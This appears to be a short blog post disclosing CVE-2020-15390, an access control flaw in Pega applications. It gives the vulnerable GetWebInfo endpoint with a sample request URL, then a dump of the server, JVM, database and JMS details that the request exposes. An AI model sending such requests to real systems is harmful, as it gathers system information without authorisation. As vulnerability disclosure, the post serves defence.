jayaram krishna kumar Follow

Apr 12, 2021 · 1 min read · Listen

sensitive information disclosure due to improper access control CVE-2020–15390

Hi Everyone,

Welcome back with a new CVE disclosure, This was discovered early back in 2020 and I haven't got time to the public it due to lots of stuff going in my personal space.

While I was assigned to test an application in my current org I was trying to figure out that the Pega framework was not able to isolate the privilege of few endpoints which should ideally only accessible to the Admin of the system.

We can call it a vertical privilege escalation within the Pega framework developed app.

Few hardening instructions in the Pega system can be made to avoid the below kind of access control-based vulnerabilities.

Vulnerability:

Effect version: ≥8.4x

Vulnerable endpoint: GetWebInfo

sample URL: https://redected.com/prweb/PRWebLDAP1/ywAuTRuvwBNAK1yKa9GHbQ%5B%5B*/!STANDARD?pyActivity=**GetWebInfo**&target=popup

https://redected.com/<keep the random path generated and give by your server after login>/!STANDARD?pyActivity=**GetWebInfo**&target=popup

Pega 7 PegaRULES Web Environment Information

PegaRULES Build Information

BuildName	coreAssemblyCached_72_868
BuildDate	2016-02-03 21.31 EST
BuildMajorVersion	07
BuildMinorVersion	20
Label	ML0
PegaTempDir	D:\ P\pega\PegaTemp

Environment Information

ServerInfo	JBoss Web/7.5.19.Final-redhat-1
ServerHost	9
javax.servlet.context.tempdir	

Java Virtual Machine Information

Runtime Information	Actual	
	Bytes	MegaBytes
TotalHeapMemory	12884901888	12288
MaxHeapMemory	12884901888	12288
FreeHeapMemory	6020792616	5741

System Properties

os.name	Windows Server 2012 R2
os.arch	amd64
os.version	6.3
java.version	1.8.0_162
java.vendor	Oracle Corporation
java.vendor.url	http://java.oracle.com/
java.vm.name	Java HotSpot(TM) 64-Bit Server VM
java.vm.version	25.162-b12
java.vm.info	mixed mode
java.vm.vendor	Oracle Corporation
java.vm.specification.vendor	Oracle Corporation
java.specification.name	Java Platform API Specification
java.specification.version	1.8
java.specification.vendor	Oracle Corporation
java.runtime.name	Java(TM) SE Runtime Environment
java.runtime.version	1.8.0_162-b12
java.home	D:\ \Java\jdk1.8.0_162\jre
java.util.logging.manager	org.jboss.logmanager.LogManager
java.io.tmpdir	C:\Users\ \AppData\Local\Temp\

PegaDatabase Information

VerifyDbMsg	
DBName	pegarules
DBProductName	Microsoft SQL Server
DBProductVersion	11.00.7001
DBDriverName	Microsoft JDBC Driver 4.0 for SQL Server
DBDriverVersion	4.0.4621.201
Connection	
Type	DataSource
JNDI_Name	java:comp/env/jdbc/PegaRULES
DB_Connect_URL	*VERIFIED*
DB_ConnectUser	*VERIFIED*
DB_SchemaName	pegarules

JMS Information

JMSStatus	JMS Available on this Server
PegaJMS_Environment	JMS REQUIRED - PRPC running as a Enterprise Application
JMSBaseJNDIConext	jms
Jndi@msSBindings	
JMSBindingName	PRAsyncTCF
JMSBindingClassName	org.hornetq.ra.HornetQRAConnectionFactoryImpl
JMSBindingName	queue
JMSBindingClassName	org.jboss.as.naming.NamingContext

Thanks for taking the time and reading through the article. Feel free to comment for more info.

Jayaram Yalla.

Pega Pega Vulnerabilities